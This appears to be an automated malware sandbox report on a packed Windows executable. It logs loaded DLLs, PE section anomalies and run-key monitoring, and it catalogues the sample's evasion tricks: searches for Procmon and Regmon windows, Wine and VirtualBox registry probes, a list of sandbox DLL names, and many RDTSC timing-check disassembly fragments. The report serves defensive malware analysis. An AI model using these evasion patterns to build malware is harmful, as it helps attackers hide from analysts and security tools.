Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6172 --field-trial-handle=2052,i,3797865959626290967,6267395957437977720,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=972 --field-trial-handle=2052,i,3797865959626290967,6267395957437977720,262144 /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: file.exe

Static file information: File size 1850880 > 1048576

Source: file.exe

Static PE information: Raw size of xiumbxnc is bigger than: 0x100000 < 0x1a3200

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1d00ea should be: 0x1d2bed

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: xiumbxnc
Source: file.exe	Static PE information: section name: kdqtiokw
Source: file.exe	Static PE information: section name: .taggant

Source: file.exe

Static PE information: section name: xiumbxnc entropy: 7.953940985276402

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: file.exe, 00000000.00000003.1543715466.00000000049E0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: BABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/%HSWPESPY.DLLAVGHOOKX.DLLSBIEDLL.DLLSNXHK.DLLVMCHECK.DLLDIR_WATCH.DLLAPI_LOG.DLLPSTOREC.DLLAVGHOOKA.DLLCMDVRT64.DLLCMDVRT32.DLLIMAGE/JPEGCHAININGMODEAESCHAININGMODEGCMABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=UNKNOWN EXCEPTIONBAD ALLOCATION

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64CFD3 second address: 64CFD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C905 second address: 64C909 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C909 second address: 64C915 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBDEC second address: 7CBDF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CC4FC second address: 7CC50F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jp 00007FC6C5B27A16h 0x00000009 jnl 00007FC6C5B27A16h 0x0000000f pop edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CC50F second address: 7CC521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FC6C5B27136h 0x0000000a jo 00007FC6C5B27136h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CDF4E second address: 7CDF62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC6C5B27A1Ah 0x00000009 popad 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CDF62 second address: 7CDFA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jno 00007FC6C5B27153h 0x00000010 mov eax, dword ptr [eax] 0x00000012 jno 00007FC6C5B2713Ah 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c pushad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CDFA3 second address: 7CDFC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC6C5B27A26h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE029 second address: 7CE045 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27140h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007FC6C5B27136h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE045 second address: 7CE049 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE049 second address: 7CE09D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a adc edx, 09F9850Dh 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 jmp 00007FC6C5B27144h 0x00000018 pop esi 0x00000019 call 00007FC6C5B27139h 0x0000001e pushad 0x0000001f jl 00007FC6C5B27138h 0x00000025 push edx 0x00000026 pop edx 0x00000027 jc 00007FC6C5B2713Ch 0x0000002d jnp 00007FC6C5B27136h 0x00000033 popad 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 pushad 0x00000039 popad 0x0000003a jg 00007FC6C5B27136h 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE09D second address: 7CE0D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27A20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007FC6C5B27A2Fh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE0D6 second address: 7CE10A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC6C5B2713Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jmp 00007FC6C5B27144h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jg 00007FC6C5B27138h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE10A second address: 7CE110 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE110 second address: 7CE150 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 or dword ptr [ebp+13A432ACh], edi 0x0000000f push 00000003h 0x00000011 mov dword ptr [ebp+13A421A9h], edx 0x00000017 add di, 0888h 0x0000001c push 00000000h 0x0000001e add esi, dword ptr [ebp+13A42A75h] 0x00000024 push 00000003h 0x00000026 mov dword ptr [ebp+13A432ACh], ecx 0x0000002c call 00007FC6C5B27139h 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 jnp 00007FC6C5B27136h 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE150 second address: 7CE155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE155 second address: 7CE19D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B2713Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FC6C5B27144h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jng 00007FC6C5B27157h 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FC6C5B27145h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE19D second address: 7CE1B5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC6C5B27A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 jl 00007FC6C5B27A16h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE1B5 second address: 7CE21E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f jp 00007FC6C5B2713Ch 0x00000015 pushad 0x00000016 push eax 0x00000017 pop eax 0x00000018 jmp 00007FC6C5B27149h 0x0000001d popad 0x0000001e popad 0x0000001f pop eax 0x00000020 movsx edx, dx 0x00000023 lea ebx, dword ptr [ebp+13BC4E72h] 0x00000029 jmp 00007FC6C5B2713Bh 0x0000002e xchg eax, ebx 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FC6C5B27148h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE26C second address: 7CE272 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE272 second address: 7CE2AF instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC6C5B27138h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FC6C5B2713Eh 0x00000010 nop 0x00000011 push 00000000h 0x00000013 mov cx, E6FEh 0x00000017 call 00007FC6C5B27139h 0x0000001c pushad 0x0000001d jmp 00007FC6C5B2713Dh 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE2AF second address: 7CE2D3 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC6C5B27A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FC6C5B27A25h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE2D3 second address: 7CE367 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27147h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jnl 00007FC6C5B27136h 0x00000012 popad 0x00000013 popad 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 jmp 00007FC6C5B2713Eh 0x0000001d mov eax, dword ptr [eax] 0x0000001f push edx 0x00000020 jp 00007FC6C5B2713Ch 0x00000026 pop edx 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b jmp 00007FC6C5B27149h 0x00000030 pop eax 0x00000031 mov esi, 27F0B5CEh 0x00000036 push 00000003h 0x00000038 mov edx, 1DE6609Ah 0x0000003d mov si, di 0x00000040 push 00000000h 0x00000042 mov ecx, dword ptr [ebp+13A42AB9h] 0x00000048 push 00000003h 0x0000004a mov ecx, edx 0x0000004c call 00007FC6C5B27139h 0x00000051 js 00007FC6C5B27140h 0x00000057 push eax 0x00000058 push edx 0x00000059 push ecx 0x0000005a pop ecx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE367 second address: 7CE3A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007FC6C5B27A29h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 jnp 00007FC6C5B27A2Ch 0x00000018 jmp 00007FC6C5B27A26h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE3A9 second address: 7CE3CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27149h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE3CE second address: 7CE3F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC6C5B27A23h 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 js 00007FC6C5B27A18h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE3F7 second address: 7CE3FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE3FD second address: 7CE401 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE401 second address: 7CE465 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27145h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007FC6C5B27138h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 mov di, si 0x00000029 mov dword ptr [ebp+13A4231Ah], ecx 0x0000002f lea ebx, dword ptr [ebp+13BC4E7Bh] 0x00000035 mov dword ptr [ebp+13A43781h], esi 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e js 00007FC6C5B2713Ch 0x00000044 jne 00007FC6C5B27136h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE465 second address: 7CE47F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC6C5B27A25h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE4EF second address: 7CE4F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE4F3 second address: 7CE54B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov ecx, dword ptr [ebp+13A42BB9h] 0x0000000d push 00000000h 0x0000000f mov edx, 734939B5h 0x00000014 push 66B221D2h 0x00000019 jbe 00007FC6C5B27A1Ch 0x0000001f pushad 0x00000020 pushad 0x00000021 popad 0x00000022 push esi 0x00000023 pop esi 0x00000024 popad 0x00000025 xor dword ptr [esp], 66B22152h 0x0000002c sbb dh, 00000070h 0x0000002f push 00000003h 0x00000031 mov ecx, dword ptr [ebp+13A42AA5h] 0x00000037 push 00000000h 0x00000039 jne 00007FC6C5B27A20h 0x0000003f push 00000003h 0x00000041 movsx esi, si 0x00000044 push C221C2D0h 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE54B second address: 7CE551 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE551 second address: 7CE556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE556 second address: 7CE55B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EFAE2 second address: 7EFAE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EFAE8 second address: 7EFAF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EFAF2 second address: 7EFB09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC6C5B27A1Ah 0x00000009 pop esi 0x0000000a pop edx 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EFB09 second address: 7EFB13 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC6C5B27136h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C37BF second address: 7C37C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C37C5 second address: 7C37C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDCF0 second address: 7EDD12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FC6C5B27A22h 0x0000000c push edx 0x0000000d pop edx 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE055 second address: 7EE05B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE2CE second address: 7EE2D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE56F second address: 7EE575 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
